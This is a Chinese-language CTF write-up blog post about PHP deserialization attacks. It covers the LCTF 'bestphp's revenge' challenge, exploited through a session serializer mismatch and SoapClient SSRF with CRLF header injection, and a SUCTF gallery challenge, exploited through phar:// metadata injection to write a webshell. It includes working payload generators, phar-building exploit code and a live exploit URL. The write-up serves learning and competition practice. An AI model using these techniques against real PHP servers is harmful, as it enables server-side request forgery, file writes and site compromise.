N0rth3ty's Blog.

从LCTF WEB签到题看PHP反序列化

字数统计: 2.7k阅读时长: 12 min
2018/11/19 Share

LCTF的Web题,本菜鸡是感觉难到自闭了,只能来分析下签到题

bestphp’s revenge

这是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

有一个flag.php但要求本地访问
image
所以思路其实蛮清晰的,构造反序列化触发SSRF
问题的关键在于没有可以利用的类,没有可以利用的类就找不到POP链
所以只能考虑PHP原生类
其实这道题目就是这个考点——利用PHP原生类来构造POP链,这和N1ctf的一道题是一致的
但是还有一个点就是如何触发反序列化
开始想到变量覆盖,通过extract覆盖b为unserialize
然后再在下面的call_user_func中调用unserialize
但是a默认为一个数组,这是不可控的,unserialize无法处理数组,所以只能想其它的办法
然后想到了利用PHP中session反序列化机制的问题来触发反序列化

PHP session 反序列化机制

在php.ini中存在session.serialize_handler配置,定义用来序列化/反序列化的处理器名字,默认使用php。
php中的session中的内容是以文件的方式来存储的
存储方式由配置项session.save_handler确定,默认是以文件的方式存储。
PHP中session本身的序列化机制是没有问题的
问题出在了如果在序列化和反序列化时选择的引擎不同,就会带来安全问题
当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,对value多进行一次反序列化,达到我们触发反序列化的目的
具体可以参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/

原生类Soap的利用

利用php的原生类soap进行反序列化的姿势是在N1ctf题目中学到的
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
这里飘零师傅有写过详细的文章,也不赘述了 https://www.anquanke.com/post/id/153065#h2-5
简单来讲,我们可以通过它来发送http/https请求,同时,这里的http头部还存在crlf漏洞
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
看一下简单的用法

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array(location'=>'http://example.com:2333','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

这样我们就能触发SSRF了
image
同时,我们可以通过设置user_agent头来构造CRLF
这是wupco师傅的poc

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = "http://example.com:2333/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);

image

解题

所以我们可以通过call_user_func来设置session.serialize_handler,然后通过默认引擎来触发反序列化
反序列化利用的是Soap原生类来触发SSRF到flag.php页面,猜想flag会存储在session中
首先测试能否触发SSRF,测试是可以的,就直接上解题过程了
构造payload,这里我们要将cookie添加到header中,所以通过user_agent的Crlf来达到目的

1
2
3
4
5
6
7
8
9
<?php
$target = "http://example:2333";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
$c = unserialize(urldecode($payload));
$c->a();

先本地测试下
image
本地是可以成功的
所以我们要在题目中触发反序列化
先生成payload

1
2
3
4
5
6
7
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

然后通过call_user_func来设置session.serialize_handler
最后不要忘记构造payload的最后一步是在序列化的值之前加一个|
首先要将我们的payload存储进session
image
然后再去触发反序列化
image
最后修改cookie为我们设置的SSRF中的cookie查看session,就可以看到flag了
image

其它

这道题目让我想起了PHP反序列化的另一些拓展
即关于phar://的利用
同样是很隐蔽的触发反序列化的点
phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件构成

  • a stub

可以理解为一个标志,格式为xxx<?php xxx;HALT_COMPILER();?>,前期内容不限,但必须以HALT_COMPILER();?>来结尾,否则phar扩展将无法识别其为phar文件。

  • a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。这部分将会以序列化的形式存储用户自定义的meta-data。

  • the file contents

被压缩文件的内容。

  • a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。

漏洞利用

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。

meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。

利用php生成phar文件
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

受影响函数列表
image

PHP识别phar文件是通过文件头的stub,即__HALT_COMPILER();?>,对前面的内容或者后缀名没有要求。可以通过添加任意文件头加上修改后缀名的方式将phar文件伪装成其他格式的文件。

exp

1
2
3
4
5
6
7
8
9
10
11
12
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
#添加压缩文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');
#可以设置其它的文件头来伪造文件类型
$o=new test('test');
#实例化一个对象
$phar->setMetaData($o);
#存入头
$phar->stopBuffering();
#计算签名

前几天suctf的招新题刚好能用来当实例

刚好题目环境还在 http://49.4.68.67:86/
直接放上当时写的wp
上传点简单猜测,暂时没法绕过
swp源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
include('./PicManager.php');
$manager=new PicManager('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']));

if(isset($_GET['act'])){
switch($_GET['act']){
case 'upload':{
if($_SERVER['REQUEST_METHOD']=='POST'){
$manager->upload_pic();
}
break;
}
case 'get':{
print $manager->get_pic($_GET['pic']);
exit;
}
case 'clean':{
$manager->clean();
break;
}
default:{
break;
}

}
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>GALLERY</title>
<link rel="stylesheet" type="text/css" href="demo.css" />
<link rel="stylesheet" href="jquery-ui.css" type="text/css" media="all" />
<link rel="stylesheet" type="text/css" href="fancybox/jquery.fancybox-1.2.6.css" />
<script
src="https://code.jquery.com/jquery-3.3.1.min.js"
integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"></script>
<script
src="http://code.jquery.com/ui/1.12.0-rc.2/jquery-ui.min.js"
integrity="sha256-55Jz3pBCF8z9jBO1qQ7cIf0L+neuPTD1u7Ytzrp2dqo="
crossorigin="anonymous"></script>
<script type="text/javascript" src="fancybox/jquery.fancybox-1.2.6.pack.js"></script>
<script type="text/javascript" src="script.js"></script>
</head>
<body>
<div id="main">
<h1>Gallery</h1>
<h2>hello <?=$_SERVER['REMOTE_ADDR'];?></h2>
<div id="gallery">

<?php
$stage_width=600;//放大后的图片宽度
$stage_height=400;//放大后的图片高度
$allowed_types=array('jpg','jpeg','gif','png');
$file_parts=array();
$ext='';
$title='';
$i=0;
$i=1;
$pics=$manager->pics();
foreach ($pics as $file)
{
if($file=='.' || $file == '..') continue;
$file_parts = explode('.',$file);
$ext = strtolower(array_pop($file_parts));
// $title = implode('.',$file_parts);
// $title = htmlspecialchars($title);
if(in_array($ext,$allowed_types))
{
$left=rand(0,$stage_width);
$top=rand(0,400);
$rot = rand(-40,40);
if($top>$stage_height-130 && $left > $stage_width-230)
{
$top-=120+130;
$left-=230;
}
/* 输出各个图片: */
echo '
<div id="pic-'.($i++).'" class="pic" style="top:'.$top.'px;left:'.$left.'px;background:url(\'http://'.$_SERVER['HTTP_HOST'].':'.$_SERVER["SERVER_PORT"].'/?act=get&pic='.$file.'\') no-repeat 50% 50%; -moz-transform:rotate('.$rot.'deg); -webkit-transform:rotate('.$rot.'deg);">
<img src="http://'.$_SERVER['HTTP_HOST'].'/?act=get&pic='.$file.'" target="_blank"/>
</div>';
}
}
?>
<div class="drop-box">
</div>
</div>
<div class="clear"></div>
</div>
<div id="modal" title="上传图片">
<form action="index.php?act=upload" enctype="multipart/form-data" method="post">
<fieldset>
<!-- <label for="url">文件:</label>-->
<input type="file" name="file" id="url" onfocus="this.select()" />
<input type="submit" value="上传"/>
</fieldset>
</form>
</div>
</body>
</html>

可以看到实例化了一个PicManager对象,包含三个方法
get参数通过pic参数传参,尝试之后发现可以读源码
读取PicManager.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class PicManager{
private $current_dir;
private $whitelist=['.jpg','.png','.gif'];
private $logfile='request.log';
private $actions=[];

public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}

private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}

public function pics(){
$this->_log('list pics');
$pics=[];
foreach(scandir($this->current_dir) as $item){
if(in_array(substr($item,-4),$this->whitelist))
array_push($pics,$this->current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
$this->_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
$this->_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$this->current_dir.'/'.$newname);
}
public function get_pic($picname){
$this->_log('get pic');
if(!file_exists($picname))
return '';
$fi=new finfo(FILEINFO_MIME_TYPE);
$mime=$fi->file($picname);
header('Content-Type:'.$mime);
return file_get_contents($picname);
}

public function clean(){
$this->_log('clean');
foreach(scandir($this->current_dir) as $file){
@unlink($this->current_dir."/".$file);
}
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a");
foreach($this->actions as $act){
fwrite($fp,$act."\n");
}
fclose($fp);
}


}

//$pic=new PicManager('./');
//$pic->gen();

所以这里有一个反序列化的可控点,但是如何触发反序列化呢?
所以这里就是phar协议拓展了攻击面
利用phar协议对象注入来触发反序列化达到写shell的目的

1
2
3
4
5
6
7
8
9
10
11
<?php

class PicManager{...}

$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new PicManager('/var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e');
$phar->setMetaData($o);
$phar->stopBuffering();

利用exp生成phar文件并上传,注意修改后缀为gif
image
上传成功,然后通过phar协议触发反序列化

1
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e/f3035846cc279a1aff73b7c2c25367b9.gif

访问shell直接拿到flag
http://49.4.68.67:86/sandbox/4150952d11458a39692ea5d1e2756f1e/request.php

参考链接

https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.anquanke.com/post/id/153065#h2-5
https://paper.seebug.org/680/#23-phar

CATALOG
  1. 1. bestphp’s revenge
    1. 1.1. PHP session 反序列化机制
    2. 1.2. 原生类Soap的利用
    3. 1.3. 解题
  2. 2. 其它
    1. 2.1. phar文件构成
    2. 2.2. 漏洞利用
    3. 2.3. Gallery
  3. 3. 参考链接